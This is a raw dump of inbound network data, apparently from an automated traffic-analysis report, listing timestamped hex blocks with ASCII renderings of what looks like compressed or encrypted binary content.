2021-12-28 17:13:33 UTC	463	IN	Data Raw: fd 9c d6 0c e3 e6 d5 fc e7 8d 70 0b f5 c9 1b e5 a4 87 8e 97 3b 83 f3 55 5b fd 83 c9 49 43 a6 fb 2e 01 88 fb 7a 3a ba cd 96 5d 16 60 c0 1f c0 80 46 75 cb 64 26 dd 33 aa ac 02 e7 2b da f4 45 98 1c e9 f5 04 49 05 3c 85 52 19 b4 6f ec 00 22 2e db b4 1c b3 28 21 e7 be cb d0 7e 23 05 15 64 57 0a a2 c3 0e 26 53 e5 07 bb e7 3e 55 86 97 39 7d 8a b4 7c 53 35 e5 10 f4 16 0a 7c a2 5d 88 ee 57 08 88 bb dd a6 25 81 10 63 67 df b3 f5 7e 6c b8 ab ee 98 a2 00 a6 7f 0a c2 9a 71 55 d5 c1 4a e8 fa 33 8f 87 37 2c 52 cb 00 06 b5 ba 35 5c 62 05 8b ac f9 82 26 c6 49 ee 5c 13 4f 1d 44 97 16 f5 1b b5 37 f9 b4 ee df b6 2e 13 5d 7b be 3b e9 01 7d 1f f5 7c 40 dc 05 40 b6 94 ea 08 58 1c e5 b6 e3 67 36 37 6f 84 ed 32 62 73 c7 50 ee 49 1a cb f0 59 9c e3 82 9a 41 b8 df b1 87 61 18 21 a8 Data Ascii: p;U[IC.z:]`Fud&3+EI<Ro".(!~#dW&S>U9}\|S5\|]W%cg~lqUJ37,R5\b&I\OD7.]{;}\|@@Xg67o2bsPIYAa!
2021-12-28 17:13:33 UTC	479	IN	Data Raw: ad 0a 6e 61 34 6b d8 ca a5 42 5a c4 a9 bf 11 6f ed b7 70 85 fe cf ec 5a b7 b6 e4 f3 23 29 98 52 17 0c e7 15 11 e8 29 c9 23 5c 7e 11 e8 7b 39 14 96 bd 92 34 98 19 38 f5 9c 55 4b 92 a8 46 52 9e 57 a9 a3 05 9a 30 19 8d 7d ee f0 72 a1 f8 15 d8 75 3a b7 9d f4 d4 1d 91 fb 14 3e f9 80 57 b7 ca 25 77 e0 6f c5 9a e9 f3 dc ca 16 32 d3 0c 13 d9 f8 39 98 a1 d6 37 b7 f1 fa 69 ee c7 70 11 1b b8 f2 26 ba ef 0d 49 5d 7d c2 c8 ad 08 1d 01 a4 42 f8 14 ac 23 01 c2 05 9c e0 d4 80 59 b3 3f 28 a5 d1 0c f9 35 02 bc e5 3a e6 7b 82 9f e8 a0 6d 45 86 f8 3f 97 bc 45 2c 9e f4 15 15 f8 66 f3 6b de 3e 97 b4 e3 82 a2 56 81 c6 f0 fe f2 6c 13 24 af 00 5c ce c2 e4 99 d4 98 26 59 f9 1f d9 fb 88 14 27 0b c7 cf bf a8 d9 c6 ec cb 40 3e 4c fc 62 08 d4 da a3 6f aa bf 42 83 67 c3 96 a0 1e dd 1a Data Ascii: na4kBZopZ#)R)#\~{948UKFRW0}ru:>W%wo297ip&I]}B#Y?(5:{mE?E,fk>Vl$\&Y'@>LboBg
2021-12-28 17:13:33 UTC	495	IN	Data Raw: de 5a 76 9f 71 53 b1 5d a8 ce a2 58 c0 b2 d4 a2 23 26 c1 aa 0e cd 01 d4 7f 1f 57 e3 11 22 f6 77 e5 67 5c 20 83 b6 b4 2f 12 f9 c3 3c 7a ff 0b 64 cf ca e6 80 82 ca 70 a0 ef cd fd d9 c5 8f 0f a1 b6 04 7f 2f 9d 4a 5d 2d 5b b7 c8 1b 11 6e 53 7d 0c 54 06 ae ca f6 40 14 a9 80 d0 eb fe 7d 96 e7 01 b6 35 ba ad 02 9b 44 ee a9 20 0a 3c 0b d2 3a b0 c0 b4 6d 9a aa 63 cf fd 21 e8 dd 9c 82 2e ad 62 ea b2 b2 4b 44 9b c6 f0 da cd 48 77 6c b3 bd 1c fe aa 7a e3 46 cf 0e fd d6 69 17 f7 57 c8 64 28 c8 fa 33 cc b6 35 d7 fc 04 06 f5 84 7e 2c 95 52 cc 8d b7 42 18 d4 2c 90 b4 d3 7f 9f e3 02 69 1b cf 75 c7 d8 95 68 ef 53 d4 40 91 37 29 06 a5 c5 0b 7a a8 be 77 e5 55 4e 6f ef d7 ee d5 25 c9 51 c0 8f 82 f0 3b 02 ef 30 a1 e2 b0 bc d1 0f 9b 49 01 55 2b de ea 91 7c f4 14 5f 42 57 90 27 Data Ascii: ZvqS]X#&W"wg\ /<zdp/J]-[nS}T@}5D <:mc!.bKDHwlzFiWd(35~,RB,iuhS@7)zwUNo%Q;0IU+\|_BW'
2021-12-28 17:13:33 UTC	511	IN	Data Raw: ac ed 24 35 af d7 ee 92 8b 41 fc e6 61 c5 51 bc 68 9a c1 00 00 01 cf d3 44 d0 c4 dc 94 ea f3 16 22 7c de 7b a0 b1 84 b2 7c bc 04 62 49 bc a9 a3 3e 33 5c 1b f9 6b ca 52 0e bf cc da c4 0d cb ca 20 7c 29 da c3 06 ec 63 7f 69 14 a9 29 43 0e da 16 19 a4 af c3 f9 b9 19 04 81 46 80 e1 90 7a 48 9c d2 76 a8 7d b0 97 60 0b 25 19 17 dd cf 2a f3 a9 12 f4 03 58 d9 a3 46 f4 7e 00 2d 69 2a fc 08 4c 55 69 ed 5f 73 e4 d0 43 a8 3e 43 41 80 e7 03 28 cf 8e de 57 e8 00 80 bd 87 4c fa 27 84 7b 85 58 41 7c bc ae ad 18 4c 64 c8 05 f5 56 32 93 31 9a b4 58 85 83 fd 9b 4f 05 77 7f b0 37 84 b7 b8 a0 bd 70 26 13 8c 1b e9 24 c0 41 2f 0e b8 3c e4 fa d9 9d b6 ac 6e c1 41 9a e0 23 b3 9c a3 d7 d2 fa 20 1f 70 92 f8 01 c0 91 ac 10 ee eb f1 b2 8c 2f 79 eb 47 6f 5a 76 cc 68 73 59 2b 7e a3 50 Data Ascii: $5AaQhD"\|{\|bI>3\kR \|)ci)CFzHv}`%XF~-iLUi_sC>CA(WL'{XA\|LdV21XOw7p&$A/<nA# p/yGoZvhsY+~P
2021-12-28 17:13:33 UTC	527	IN	Data Raw: e1 2e af 50 4e 6f 76 56 c2 3d 6f b9 01 87 55 fd 1d db b1 75 3f a8 d5 23 a9 30 6b ec 75 3f de 82 65 32 48 99 e1 e2 b1 ea 8e 9f 7b cb 5c 6a 76 17 49 9f 1e ad a0 83 26 ff ab e8 10 8a 63 10 2a a7 24 06 dc 54 fc 0c f9 e8 0a 34 a9 b2 ba c9 08 d8 1c f2 2c c3 c8 e4 59 65 50 5f 27 9b 04 10 9d fa f1 00 ff 18 e2 ae 5a 97 a6 14 ef 8c 56 78 9a 73 19 80 48 15 80 a3 ab c3 b3 bb 77 9d 26 4f 12 b6 ff 2e 34 b3 40 60 68 37 bd 26 60 6f d5 c4 66 a3 18 03 14 f9 b6 57 46 df c6 57 55 b5 d6 19 7c 7d 91 fa ee 5f bd 6a cb f6 65 87 98 99 48 fb 5a 12 55 20 37 cd b6 03 50 8e f7 ba a0 5c 39 6a 88 9c d1 3c a1 b3 d8 cf 72 23 6e 47 d1 6a a1 3f 56 ff 73 f3 a3 64 8d 4c c2 0b f3 44 f6 90 54 2f 74 ad d3 86 3d 00 d5 e2 db f5 51 c0 e9 bf 13 39 a4 38 be 93 7d dc 38 6a 93 75 65 ac 27 c4 42 64 ba Data Ascii: .PNovV=oUu?#0ku?e2H{\jvI&c*$T4,YeP_'ZVxsHw&O.4@`h7&`ofWFWU\|}_jeHZU 7P\9j<r#nGj?VsdLDT/t=Q98}8jue'Bd
2021-12-28 17:13:33 UTC	543	IN	Data Raw: 25 e2 08 43 ad 85 f9 f7 31 3f 31 2d 51 4f 41 ec 7b 4e b2 43 e1 00 db 5f d7 63 7e 79 15 53 de be 5f 03 71 77 9b 4a ba b5 36 e1 46 5e 4e dd 08 74 8c 55 f1 77 19 46 58 ce 0c c6 d2 56 99 82 cb 22 bf 1e 00 65 ed 67 cd 69 f3 28 c8 6d dc 17 38 94 ab e6 22 e4 91 ad 51 02 a1 bc 43 dc 49 f2 7a b5 97 b3 34 b6 f9 cf eb e9 d3 8a 20 d7 f6 87 13 5c c3 2b 45 8c 9f 4c b1 89 6e d8 38 bd 3a e2 de 97 2a b6 9b fe cb e7 da 9f ad 1c c9 01 d1 34 7c f6 7e 3c c9 ac c4 86 d4 d8 d4 88 aa 31 70 a5 be 6a 7d c1 e3 d8 53 02 1e 26 50 22 50 75 8a 62 b2 dc 5c 89 8c 42 ff 20 fe 44 f1 14 80 70 8a 9e ab c7 6d b9 02 31 58 4a 35 f6 84 d4 2e 97 83 a5 90 09 c7 01 0c 76 65 32 c4 6e 8a 6d 61 17 d5 dc 44 d5 a7 92 3b 59 ff da 4a 21 5f a4 21 c4 e8 d7 43 43 f3 f0 ab 90 5e 20 09 1a f0 1b ad fa 10 92 0e Data Ascii: %C1?1-QOA{NC_c~yS_qwJ6F^NtUwFXV"egi(m8"QCIz4 \+ELn8:*4\|~<1pj}S&P"Pub\B Dpm1XJ5.ve2nmaD;YJ!_!CC^
2021-12-28 17:13:33 UTC	559	IN	Data Raw: a5 cd 01 92 27 8f ea c0 c4 a0 ff 79 31 a3 42 f2 1c 25 9b a3 e9 a1 05 c8 75 11 44 a5 a9 ef fb cb a8 0d 5c 8c 6a 60 c0 75 fb 68 85 ce e1 5c 07 0b b9 98 47 bb b7 41 c6 48 ec 10 4d 42 6a 55 1e 95 76 34 dd 64 43 e0 e2 77 8e 5e cd c6 66 e4 0e dc 60 e5 a4 ce 9a fd d6 50 e4 83 10 73 d6 41 5d 25 5b b4 c7 5b 03 da b7 5a 5e ff bc 6f d3 c7 e8 29 94 fb 85 46 d7 73 77 f0 9d 3c 79 2c c5 76 28 4a 02 41 34 c6 b6 b4 2a 3e 67 55 e2 1d 00 ff 75 1d 82 21 89 23 8c 8a 64 31 36 74 20 f6 3f e9 fd 24 ee ed 7e 58 63 c2 ae 32 2b 32 98 bd f4 d7 00 68 e7 a2 90 a2 38 bc 42 e6 8f 6b 40 5c 1d 32 f3 0f db 30 6e d4 21 89 22 f9 1d cb 5a b3 1b 23 6c 87 e9 09 f3 cf 6d f6 14 23 9f 16 3d 80 7c b4 0d cd 0c ba 90 0b 62 c1 c4 49 11 2d e2 37 b8 2a 5d c5 54 9a 23 6e 23 06 ee c4 6b bf b7 82 7f 1c 30 Data Ascii: 'y1B%uD\j`uh\GAHMBjUv4dCw^f`PsA]%[[Z^o)Fsw<y,v(JA4>gUu!#d16t ?$~Xc2+2h8Bk@\20n!"Z#lm#=\|bI-7]T#n#k0
2021-12-28 17:13:33 UTC	575	IN	Data Raw: 33 a3 b1 8a a5 d6 fc 27 28 f6 1c 55 41 78 d3 d2 3a 9c 46 ee fb 70 70 31 75 7e c9 a2 fd af 89 f8 f1 eb d9 07 43 0f 17 aa b5 d2 6b 5f 5e f1 91 76 81 c4 76 62 5b ce 3f 2e 4d cf 2b e3 16 53 31 34 8d eb 89 6f f6 7b 92 cb dd 0a eb fd f8 58 90 69 74 73 42 9f e1 e4 06 40 2e ce 30 fb f7 12 a7 40 86 3b d8 a2 cd d8 de 47 3e 89 87 c6 08 4c 3d c7 cc 7c 3c 0d 1b 92 30 5f f9 7c b8 aa ea ed 04 a1 be 52 31 11 66 36 84 c1 e4 37 44 b5 34 7c 90 24 28 ea 8a ed 10 77 90 ba 33 4a 2c bf 17 28 1d 94 2b 7a 1d 16 b8 45 31 4b 92 6c c6 64 2b 66 4b a2 57 7e ee f3 59 61 bc 2f 14 00 07 70 54 42 de 49 95 e9 b0 55 50 0a 02 b8 94 6d 4e f3 73 dd ac 04 fa 23 a5 78 2a 62 7b f2 f3 6d 01 b5 5d d7 96 0c a8 e4 2c 10 3a 53 d0 b1 60 94 e0 83 b0 26 10 3a e2 63 82 99 53 32 32 36 b4 18 43 ad 32 d8 39 Data Ascii: 3'(UAx:Fpp1u~Ck_^vvb[?.M+S14o{XitsB@.0@;G>L=\|<0_\|R1f67D4\|$(w3J,(+zE1Kld+fKW~Ya/pTBIUPmNs#x*b{m],:S`&:cS226C29
2021-12-28 17:13:33 UTC	591	IN	Data Raw: 52 19 5f ee 96 38 60 d1 3d c3 c4 c4 25 8c 6d 02 02 8a fc 8d f9 c9 7d 7d 0d ef 0c 03 43 62 56 7e 19 e0 29 d3 ff a2 3d fe 1a 8e 41 a1 86 70 63 dd 16 3d d3 7a d9 24 fa 7a 52 47 b8 ac 8d db da b0 d4 95 75 0c 17 ae 5e b4 b6 a7 8a 5c 6a a8 c0 fa 80 e5 1c e7 c3 aa a4 2b 42 f0 2e 2f 66 77 0f f9 20 32 e0 eb 23 41 1d 95 04 a5 18 56 d0 59 c5 46 f3 4c 13 32 9f 77 fd cc 96 b9 14 fe 95 4e 89 aa 71 4d 3d be 7e 2e 0b 3d 12 7c fd 47 8a fe ce a9 0b a4 4e ec d5 e9 20 73 c3 58 96 60 29 93 a0 7c 39 08 d3 42 ad 1e 00 74 52 89 90 27 25 98 37 06 f3 35 2c 5d 05 5f 01 d9 76 b4 1e 41 45 1d 8d 07 6e 0a 08 04 8d c2 d7 c5 a9 05 77 51 5f cd db b5 5f d7 a0 ac 6b 7e d2 ef 3c c9 41 68 0d 0f 8e fe a3 d0 f5 b8 42 04 a5 37 14 5b af 35 6c 1e 9a 81 6b b9 ea 12 ae 27 e7 60 9b 11 00 f8 9c 59 63 Data Ascii: R_8`=%m}}CbV~)=Apc=z$zRGu^\j+B./fw 2#AVYFL2wNqM=~.=\|GN sX`)\|9BtR'%75,]_vAEnwQ__k~<AhB7[5lk'`Yc
2021-12-28 17:13:33 UTC	607	IN	Data Raw: f1 87 23 52 3c d2 ff bc b7 55 68 e0 98 b8 22 83 61 13 14 1f 8c 46 3b bd 37 02 51 7b 63 48 6e 27 c1 6d b9 59 69 5e 08 db c3 86 4b b8 b6 8c 9f 50 c4 d5 a2 44 88 92 f6 e8 6b 5d 09 59 76 cd 0c aa 1c 69 78 d5 e2 3d 3b 4f 15 9c 2d ad 98 0f fd 1e bc 9a 4f c6 84 19 c2 3c eb a2 47 b5 e4 87 e0 d7 df 27 45 7c b9 77 f3 dd d4 7a 8f 07 1f eb 43 01 10 03 4d ef 78 12 ea 11 14 b4 d7 55 ac b3 53 d8 c2 d7 22 5c cd 27 f2 a7 43 66 3d 70 4b 78 21 a0 ec 95 26 7b 99 72 22 a1 4d b3 61 d5 00 e0 e5 41 67 67 67 24 c7 bd f4 e7 5a 76 3b e4 23 b9 72 3c 6f 6b fb c7 95 1a 45 14 a0 4c 55 a1 d7 5d 4d 12 e2 84 50 11 ba b0 27 29 56 2f 02 e9 e2 f7 c0 1f 61 e3 6d 2e 03 7c fd c4 84 34 a9 7c a9 cd fc 08 7a ea 39 aa fe 09 76 38 14 37 68 ec f7 b2 98 78 b8 6c 0d 33 76 32 d3 af 2d 6a d9 10 de f8 99 Data Ascii: #R<Uh"aF;7Q{cHn'mYi^KPDk]Yvix=;O-O<G'E\|wzCMxUS"\'Cf=pKx!&{r"MaAggg$Zv;#r<okELU]MP')V/am.\|4\|z9v87hxl3v2-j
2021-12-28 17:13:33 UTC	623	IN	Data Raw: 28 79 bb 46 09 f2 f7 a2 82 2e 4a 2a 58 1f c0 e3 a6 72 5e c5 7b c6 be 14 75 a1 b8 73 40 f1 68 16 3e a2 18 bf 19 37 42 6e 5c 38 76 f7 39 c7 5e 54 bd a2 1c 95 8c 88 f5 60 ff 59 04 f2 3a 21 7a 03 62 99 8c df fd 66 f4 b9 24 2b a4 68 a7 05 bb 96 22 02 07 84 ff b0 34 bc 85 62 e1 7a 05 6b 72 c7 97 17 5f 06 c5 8a 8d 11 3e 2a c2 13 53 ca 0f 47 67 11 f2 a3 ea bd da 13 bf 0d fb 44 10 01 e1 df 6e 40 11 40 34 cc 56 da cc 84 47 41 fd b7 58 9e 51 71 a5 22 f6 7d 01 78 77 4e 49 b0 ae 7d 89 38 56 90 16 19 ce 82 db 00 9b e9 97 ac fd 2b eb 8e 5d 00 de 14 01 e2 92 30 d8 d9 7c 2d cd 7b fa 45 0a 37 89 dc dc 76 a3 2d f9 94 21 1b 5a 25 02 9e da 02 82 a9 6d 39 01 23 10 ce 1b f4 a4 23 67 40 0c 0e 3a 48 fe 76 fc 33 0f 9c f4 d6 0a e8 a5 e9 ec 61 f6 61 c1 af 97 12 e0 5d e5 3d fc ae f6 Data Ascii: (yF.JXr^{us@h>7Bn\8v9^T`Y:!zbf$+h"4bzkr_>SGgDn@@4VGAXQq"}xwNI}8V+]0\|-{E7v-!Z%m9##g@:Hv3aa]=
2021-12-28 17:13:33 UTC	639	IN	Data Raw: e6 f6 9d 15 6a 8e 1d d9 23 c7 ac f5 e5 b3 b9 51 b8 f5 59 76 81 be df e1 d2 9c 50 3c b0 d1 bc 5f b1 40 1f 63 02 fb 2a 1f 48 ea db fd 8e b0 3c 23 0d 28 5e c4 07 92 15 b8 31 9a 51 d0 dc 10 e2 27 8e 6f 31 23 cc 4b 7a 46 b6 06 2e ff 55 23 09 ff 51 8a 78 ea 8b 6c db 48 bc 3c 59 e8 64 27 18 53 85 c5 ff 9d b0 54 90 77 5b b7 98 a7 6f 20 bd cd 52 ae 1c 39 9d ce 04 2c 60 1b 78 0c c9 32 98 f2 f7 d1 1a 21 92 f1 5e 49 1f 52 fe 98 70 2b 96 4a a7 b9 25 6d 1f bb 20 ed ba 6f 5e 2f 2b b6 fa 36 a4 d7 be fc df 87 e1 f5 92 f0 cc ef 89 f3 dc e5 e4 98 67 dc 2e 71 fa 15 62 0c af 1d 76 97 32 77 d6 05 23 59 0c ae 04 64 cc 33 09 9a b8 b7 79 62 2d 26 80 af f2 b4 56 af 2a 2c 9e 7a 40 58 34 c4 44 65 3a dc 31 64 b9 3e 29 77 09 fb 17 21 68 ad 2f 44 2b 3a 94 cc 41 a7 28 1c a7 01 ed 9c e8 Data Ascii: j#QYvP<_@cH<#(^1Q'o1#KzF.U#QxlH<Yd'STw[o R9,`x2!^IRp+J%m o^/+6g.qbv2w#Yd3yb-&V,z@X4De:1d>)w!h/D+:A(
2021-12-28 17:13:33 UTC	655	IN	Data Raw: 39 06 ab e6 f9 4c 4b 70 d4 f8 86 52 25 3b 77 8b b9 58 e0 2c f3 e8 24 f0 7e bd 75 d8 c4 4e 92 c9 94 2b 27 bc 8e 82 be d5 d3 e5 d3 39 8b 50 cc 38 a8 0c b6 65 95 32 ed ad d2 be a1 9e b1 ec f1 38 c5 bf 5b e5 74 35 21 83 35 9f 17 93 0e 7b 25 bd 1b 19 2f ba 03 36 10 b8 7e 13 2f 23 01 51 67 dd 6c 83 72 2d 8d ef f6 cf 6f ef 73 e8 cb 2b 18 b5 f2 1c 0f 3f 71 6d 85 bf a3 7b 89 16 d0 a4 d4 b4 06 bb a9 a8 fa 01 09 e0 73 52 ca 4a 4d 7f 2e a6 67 3e 2d 90 80 d3 13 17 af 20 3d 37 11 91 22 f5 f3 bd db 80 79 a9 0a fc 47 52 e5 55 d3 f9 8c 43 b4 7a c0 7a 8d dd 84 e9 ec 6b 7b 73 40 1a 63 bc 1f 22 39 cf d8 9a 62 aa 44 4c 9c cf 6d b2 96 0e 1f 24 2b 7f 98 8a fe 15 7d 3b de 7b 34 88 44 47 ec 69 e0 3d c1 47 43 e4 f0 85 65 a5 a0 f8 fa 92 b7 c8 0e 62 22 6c 08 18 05 cb fa 21 15 49 b5 Data Ascii: 9LKpR%;wX,$~uN+'9P8e28[t5!5{%/6~/#Qglr-os+?qm{sRJM.g>- =7"yGRUCzzk{s@c"9bDLm$+};{4DGi=GCeb"l!I
2021-12-28 17:13:33 UTC	671	IN	Data Raw: db fa 94 9d b2 8a 96 bf 86 38 36 82 01 17 f2 97 0e 1f 2d ab d8 4b 04 eb 6f 6c 88 ec 47 cb 23 e6 5a 54 34 99 bf 04 08 01 fe b1 1d ef 70 c5 22 88 f7 9c a7 1b 9c c2 e0 2b 1d 3f 04 ef 0e c1 6b 5c 1e c9 8b 94 36 bf 07 16 be 49 a3 fb 3c cf f7 08 b1 79 65 46 4e fa a9 45 e2 b0 d2 47 da ab 5f 76 72 a6 76 34 57 10 42 e3 62 84 67 96 d5 0c 68 0e f5 d9 b0 33 6b 74 3e 6d b6 9a 7e 16 02 25 ea e8 7d e8 3d b5 ec bf 6a 72 cc af 85 1f cc 03 e8 04 c7 51 09 b4 17 9a db fd 61 ba 59 58 9f cc 8a ce 03 d8 01 0b 01 75 69 47 1c 35 42 8f d2 85 c0 0b fc f9 72 a1 b8 3f 64 89 d9 20 7b ba 38 11 b9 4a 89 4e 22 dc 4d db aa b5 92 35 9c 6e ff aa 61 ef e2 8a 6f 02 bd 5f 31 c7 9b 9f 32 63 33 61 3a 73 75 a0 d1 3f cc 05 12 4d e6 f9 c0 cb ce 4b 63 79 33 6b e4 be 69 87 ad 34 cf 28 3f ea a6 af 8a Data Ascii: 86-KolG#ZT4p"+?k\6I<yeFNEG_vrv4WBbgh3kt>m~%}=jrQaYXuiG5Br?d {8JN"M5nao_12c3a:su?MKcy3ki4(?
2021-12-28 17:13:33 UTC	687	IN	Data Raw: ad af 0f f4 9f 83 f7 0c 9c cf d0 b0 1e 05 db 55 0a f3 ce 40 51 b9 24 e7 1d a6 17 db 1a d4 7e 38 5c 59 a0 1e 4b 76 80 a3 e7 4d b8 ca 9a 60 f5 97 0f 3a 74 bf 68 01 9e 49 6a 82 fd fb ba 3b b2 c8 5c cc 35 fd e4 5d 04 64 70 6a 3e 81 2c 4c a1 af c4 84 2f e5 ed cb 97 ac 8a 76 08 81 95 36 17 6a b4 7f 17 87 d3 0c 7a 10 67 c9 4e b1 70 29 37 c5 bc 0b b0 e6 04 4c 86 44 ff fc 16 7a 38 44 72 a8 9c da 96 90 96 c1 ad 50 1e 2d 6b 08 97 04 8e 26 b5 06 ef 9c 8e cc a5 9a 71 96 27 e5 4a 86 9d 58 63 fa 42 6a 3f 0e 2b 7b c3 4f 56 8f 84 f3 d7 27 e4 6f 76 d3 6f 03 ef 3c 00 6f 94 a0 2b b4 15 73 99 06 5e 8b 97 f7 7d 6b c9 d9 7e 3d b7 b4 e1 94 9c d5 4a 24 60 2e 9e 15 8b b2 3b 0d e6 ec d6 fe eb 05 e1 19 cb 65 8f 89 f0 19 76 0b be a4 ee 00 6f 20 06 50 12 9e fd fe a9 9e 41 70 c2 11 30 Data Ascii: U@Q$~8\YKvM`:thIj;\5]dpj>,L/v6jzgNp)7LDz8DrP-k&q'JXcBj?+{OV'ovo<o+s^}k~=J$`.;evo PAp0
2021-12-28 17:13:33 UTC	703	IN	Data Raw: f3 24 92 2f 3e 99 e2 2d c9 a9 0f 03 cb 86 eb 9d ce ee a4 20 23 af 44 1b 1b b8 b2 88 b7 c8 b4 c2 1e 7b dc ef 39 34 03 de 81 f7 be ac ba 8e f9 7b 6c 60 f8 b0 b2 b2 17 03 cb b5 ff b4 0e ad 02 4d c7 49 96 ac dd 93 f2 44 a2 e1 c0 03 42 83 1c 83 a1 d8 11 91 c7 35 5c ae 59 dd d9 2e 33 21 fe 87 32 72 e9 a3 b8 1b d1 13 50 2b 64 c6 44 37 a3 b3 59 28 a7 62 55 30 d8 2a 3a 68 2c 4c 5b 4b d2 9a dd 0e 44 45 22 3b c2 c5 34 df 77 ff 46 b8 88 85 3d d2 7a 83 46 18 b0 b7 a4 38 0a 03 35 f7 bf 1d 7f 05 b8 2b a5 eb 8f 83 ba a9 3a fe db 9c 9c 8c ae c3 69 f6 4b 87 2c b3 c2 20 09 7d 3c b1 e6 0c 42 12 a2 d4 6c 13 31 98 60 8f 30 48 81 1d c9 c7 c7 c8 69 a9 42 3a 17 fe c1 55 7e d9 8d 2a 23 82 3e cd 03 3e 72 00 a8 a3 98 e1 42 11 3b fe b0 0e 32 99 9a 30 3a 60 02 13 76 76 4e a0 eb c7 1b Data Ascii: $/>- #D{94{l`MIDB5\Y.3!2rP+dD7Y(bU0:h,L[KDE";4wF=zF85+:iK, }<Bl1`0HiB:U~#>>rB;20:`vvN
2021-12-28 17:13:33 UTC	719	IN	Data Raw: fa 94 22 48 b4 b7 26 d1 fd ca 18 25 91 39 7a 8d 50 22 0d b9 1f 57 3b 5f 83 b0 c4 13 e5 76 a9 e5 8a c8 be 16 2f de 1b c3 b9 ae c0 51 28 1d 66 ff de c9 ce 19 09 1e 9b 99 14 10 4f 35 3d 17 65 86 83 8f 0d a9 c6 b4 53 1b 58 1e 5b 31 52 e2 bd 85 d0 c3 f9 3b a9 65 5e 76 8b 83 13 7b b3 85 38 b7 39 67 aa 35 c6 1e ad 97 cb a7 0a 52 a6 1a 77 5c d6 5f c1 42 d3 a2 4b 1b 92 48 d0 94 b9 63 ea ab 9e 2d be 9f 71 8b f9 75 1f c1 26 1f 0e e8 15 02 c5 55 77 c0 0d 58 25 12 c1 92 8c f1 d7 81 6e b2 98 f6 cd 70 63 58 58 6c 8a eb 8a c6 4d f9 7d 6a a6 77 b7 41 81 6f 59 af 32 3d 9a bb 38 9c 3d d0 cc 6b ac 65 54 33 67 54 9f 73 3d b4 7f ef 9f 3d 46 18 0f 90 7b ed d4 95 19 63 f9 82 a6 4b c8 ea 23 08 2e 78 b8 39 17 53 45 dc 56 b8 52 e7 85 0b fb b0 a4 05 08 74 d2 93 5f af 57 cf 74 00 e2 Data Ascii: "H&%9zP"W;_v/Q(fO5=eSX[1R;e^v{89g5Rw\_BKHc-qu&UwX%npcXXlM}jwAoY2=8=keT3gTs==F{cK#.x9SEVRt_Wt
2021-12-28 17:13:33 UTC	735	IN	Data Raw: b3 ae 3b ae 09 bb 56 d2 91 a6 a3 de 91 7d fe 6f b1 09 e4 fe 90 dd 45 21 2b a6 30 d5 c3 8e 5a a9 fb 68 43 35 91 1f 5f 19 42 b6 48 8f cf ca 21 ad 0a 2e 83 a5 32 04 e4 1e 95 72 dd ea 78 67 ab 37 9d dc ff 38 af ba b6 91 ba f2 c0 40 4a 44 14 f1 d9 69 76 a2 e0 11 fe b3 e4 fd 41 78 a9 48 53 a2 4a d2 e6 02 d2 06 f3 4d 84 5c dd f0 10 e7 f4 4c f4 11 da 37 18 b1 56 69 fe 0b b7 2d 97 a5 70 b6 2d 53 25 68 59 5a 5f 6f e7 0b c7 2a a3 02 21 84 74 4f 4c 5d d8 fb d9 88 80 42 3e e2 5b 6e 53 28 c2 8d 5d 85 86 d0 c4 02 bb a8 9d 64 93 57 36 cb 4d 1c 26 fb 4f d8 9a cb 2e 58 98 d0 8d c5 a1 e6 ec 90 fd fe dc d7 e9 a3 b3 4d f8 ea 45 98 90 5a 58 92 2b 58 46 52 c3 6f 59 be cf 60 a7 e3 f7 83 ae 98 3e 6c ae 3b af 60 24 f5 3c 89 2c e2 a7 5b 84 e2 12 f7 f8 46 39 21 7b a8 0c 63 d2 d7 3b Data Ascii: ;V}oE!+0ZhC5_BH!.2rxg78@JDivAxHSJM\L7Vi-p-S%hYZ_o*!tOL]B>[nS(]dW6M&O.XMEZX+XFRoY`>l;`$<,[F9!{c;
2021-12-28 17:13:33 UTC	751	IN	Data Raw: 6a c9 c9 10 18 8d 9a a7 0a 33 90 ca 0f 46 43 3e cc 49 3e 1a 3f dc 9b 91 1b ba 40 9d c7 1f ab e2 04 c3 69 e4 5c e9 c9 09 f6 b8 7b 23 f1 3a 1c 6e 8a b9 2b 70 9f 38 d9 55 66 56 e9 bc 79 b2 a9 2d 1e 7e 38 60 2e 47 fe 82 58 80 29 5d 3a 1b fe d4 8b 00 bf 7d 28 c1 8a 25 a8 c5 73 60 bc 1c 71 8c f7 5c 80 10 7e 4e 60 4c 06 9a 22 b6 a2 4f 6c fa b0 c0 3f 87 f1 2d 2a 7e 57 d3 10 d6 ea cc c7 48 b9 a5 bd 89 7e 1f 82 b4 4e d2 99 89 03 f9 49 b8 b1 f0 d8 d9 fc 13 e6 5f 28 90 8b 5e f6 3b 97 14 d6 41 67 e1 b6 b8 18 93 11 40 18 25 61 95 16 64 66 9a 25 ac ee c4 8f d9 1b 4c 36 a7 a4 a9 46 0c 60 01 cb 87 eb 42 3f 3f 04 b1 01 3f 25 f2 f3 a4 e2 2a ab 7f 6b 10 09 f7 1c fb 1f c8 fa 72 db 9f 46 c7 30 c1 dc 4d 67 ef 49 61 1a a8 65 b1 a4 8e b3 8c ef e6 a0 3a 1a cf 91 9d 38 5a 94 fb b0 Data Ascii: j3FC>I>?@i\{#:n+p8UfVy-~8`.GX)]:}(%s`q\~N`L"Ol?-~WH~NI_(^;Ag@%adf%L6F`B???%krF0MgIae:8Z
2021-12-28 17:13:33 UTC	767	IN	Data Raw: 09 2a b9 dd 60 89 4a cd 23 5d 46 cb 4d 08 c4 9b bc 7e bd 04 3c ee 06 b4 71 e5 12 43 ae 27 26 04 92 34 e6 6c 8f bd 07 a5 46 06 3c 2b ce 31 89 51 79 f5 cc da d0 b1 a6 95 e6 77 be ae 8e 96 5e e9 ca 13 42 27 7e ff 89 6d 71 2f f3 e3 7e 23 08 b8 1c 29 48 e6 cc f7 23 69 2c 2e 02 25 10 24 81 1e 75 c6 16 e4 88 5a 91 b6 57 d3 d0 7a 81 c8 6f b1 65 0f 78 89 d3 c4 5e 71 3f 86 fd 4c 8c c4 fd 7c 43 fe e7 a8 92 38 c3 fc dc 65 d2 58 a8 72 3c 1d 1f e0 74 e7 c7 05 ca 71 80 b0 e3 21 30 cd 2d 66 5e ec e0 fa 0b 88 74 25 46 cc 25 7a 3d 23 63 4c 90 94 b7 49 44 e1 48 dd 05 f7 48 fb f7 d5 64 15 4c 40 2d bb 00 51 19 c0 53 27 4c 97 55 c3 b2 00 66 ec bf a5 77 58 11 1a 74 62 d6 67 7e 56 eb 9f 2e aa fa 6e d8 46 d9 c8 34 26 b5 a9 57 30 60 51 10 7d ba b5 80 1f 0d 4c 39 0b 1a a8 0b 0f 55 Data Ascii: 